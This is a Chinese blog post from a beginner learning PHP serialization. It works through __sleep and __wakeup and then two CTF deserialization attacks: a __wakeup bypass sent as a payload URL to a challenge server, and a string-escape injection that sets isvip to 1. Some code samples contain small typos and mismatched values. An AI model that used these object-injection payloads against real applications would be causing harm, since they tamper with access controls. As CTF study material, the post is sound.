PHP反序列化初体验

阅读约 8 分钟

PHP反序列化初体验

部分摘自此篇文章
刚开始接触,发现自己基础太薄弱,每步走的都不容易

序列化和反序列化的概念与基础知识

序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象

序列化 serialize() 对象—> 字符串
反序列化 unserialize() 字符串—>对象

php序列化

序列化函数serialize()

首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来就ok了。

<?php
class Ctf{
    public $flag='flag{****}';
    public $name='cxk';
    public $age='10';
}
$ctfer=new Ctf();     //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
echo serialize($ctfer); //输出序列化后的字符串

//输出结果
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象,因为我们序列化的是一个对象;序列化数组的话则用A来表示
3代表类的名字长三个字符
Ctf 是类名
3代表这个类里有三个属性(三个变量)
s代表字符串
4代表属性名的长度
flag是属性名
s:13:"flag{adedyui}" 字符串,属性长度,属性值

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。

可以在__sleep()方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性

实例:

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
        public function __sleep(){  //使用__sleep()魔法方法
            return array('flag','age');
        }
    }
    $ctfer=new Ctf();
    $ctfer->flag='flag{abedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    echo serialize($ctfer);  //优先序列化__sleep()
?>

// 输出结果
O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}
即__sleep()方法使 flag age 属性序列化,而name并没有被序列化。所以可以在__sleep()方法里决定哪些属性被序列化。

PHP的反序列化

反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
    }
    $ctfer=new Ctf();     //实例化一个对象
    $ctfer->flag='flag{adedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    $str=serialize($ctfer);
    echo '<pre>';
    var_dump(unserialize($str))
?>
//输出结果
object(Ctf)#2 (3) {
    ["flag"]=>
    string(13) "flag{abedyui}"
    ["name"]=>
    string(7) "Sch0lar"
    ["age"]=>
    string(2) "18"
}

与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法
如果存在则会先调用__wakeup()方法,再进行序列化
可以在__wakeup()方法中对属性进行初始化、赋值或者改变。

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
        public function __wakeup(){
            $this->flag='no flag';        //在反序列化时,flag属性将被改变为“no flag”
        }
    }
    $ctfer=new Ctf();     //实例化一个对象
    $ctfer->flag='flag{adedyui}'; 
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    
    $str=serialize($ctfer);  //先序列化
    echo '<pre>';
    var_dump(unserialize($str));  //反序列化并输出
?>
// 输出结果
object(Ctf)#2 (3) {
    ["flag"]=>
    string(13) "no flag"  //$flag的值修改完后 再反序列化
    ["name"]=>
    string(7) "Sch0lar"
    ["age"]=>
    string(2) "18"
}

PHP反序列化漏洞(常规)

漏洞触发条件: unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法

魔术方法:

__construct() 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。

__destruct() 当一个对象销毁(反序列化)时被调用

__toString() 当一个对象被当作一个字符串使用时被调用

__sleep() 在对象在被序列化之前立即运行

__wakeup() 将在序列化之后立即被调用

而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

__wakeup()

将在序列化之后立即被调用
绕过姿势:当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。

写攻防世界正好遇到这个类型:
题目:unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

可以看到直接就是__wakeup() 返回了错误信息,绕过__wakeup()即可
首先实例化类并且输出序列化后的字符串
请输入图片描述

修改对象属性个数的数字,来绕过__wakeup()

O:4:"xctf":2:{s:4:"flag";s:3:"111";}  修改属性个数
payload:
http://111.200.241.244:51023/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

php反序列化字符逃逸

ctfshow262题涉及到相关知识了,看了群主视频讲解,明白了一点,理解的还不是很好
写一下自己的看法和理解吧
先构造一个例子

<?php
class user
{
    public $username;
    public $password;  //这里定义类属性
    public $isvip;

    public function __construct($u, $p) //创建对象自动调用
    {
        $this->username = $u;
        $this->password = $p;
        $this->isvip = 0;
    }
}

function filter($s)  //就是这里对序列化后的字符串换值造成字符逃逸,造成了字符的数量与实际不一致
{
    return str_replace('admin', 'hacker', $s);
}

$thnpkm = new user('admin', '123456'); //实例化类。一个thnpkm对象
$thnpkm_seri = serialize($thnpkm);  //序列化操作
echo $thnpkm_seri;  //打印序列化结果

$replace = filter($thnpkm_seri); // 对序列化后的字符串进行字符替换
echo $replace;  //打印新的结果

//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isvip";i:0;} 
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isvip";i:0;}
//可以看到s:5:"hacker" ,这里写的5 后面却是6个字符,所以这个r就没有用了

那么我们可通过这个方法干点什么呢?
我们现在尝试将$isvip变成1 ,这就是漏洞利用了

请输入图片描述

打印一下这次的序列化字符串:

O:4:"user":3:{s:8:"username";s:52:"hacker";s:8:"password";s:6:"123456";s:5:"isvip";i:1;}";s:8:"password";s:6:"123456";s:5:"isvip";i:0;}

可以看到前半部分正是我们想要的结果,出现了isvip=1
看这里s:52:"hacker",好家伙,52和hacker的差距有点多啊,接下来就是要让他两数量一致了,这样才能反序列化,那么怎么搞呢?

我的理解:之前的admin换成hacker,成功实现一个字符的差距
我们构造的payload:";s:8:"password";s:6:"123456";s:5:"isvip";i:1;}
有47个字符,那就用47个admin换47个hacker

请输入图片描述

这就已经万事俱备了,只需反序列化看一下,你看isvip被我们修改为1了
请输入图片描述

这也许就是最简单的原理了(如果我没理解错的话),真正的题目确实还要难很多

也去刷了点题,边看边学吧

ctfshow PHP反序列化前几道题 写的确实好吃力,太菜了太菜了
Hackinglab 基础关
HackingLab 脚本关


 赏 
感谢您的支持,我会继续努力哒!
~~  The   End  ~~

文章二维码 本文标签:web, 刷题
最后编辑:2022 年 06 月 30 日 19:23 By ThnPkm
本文链接:http://thnpkm.xyz/index.php/archives/21/(转载时请注明出处及链接! )
作品采用: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可协议授权。
1 + 5 =
共  1  评论:
    2022年03月14日 江西省南昌市 回复

    123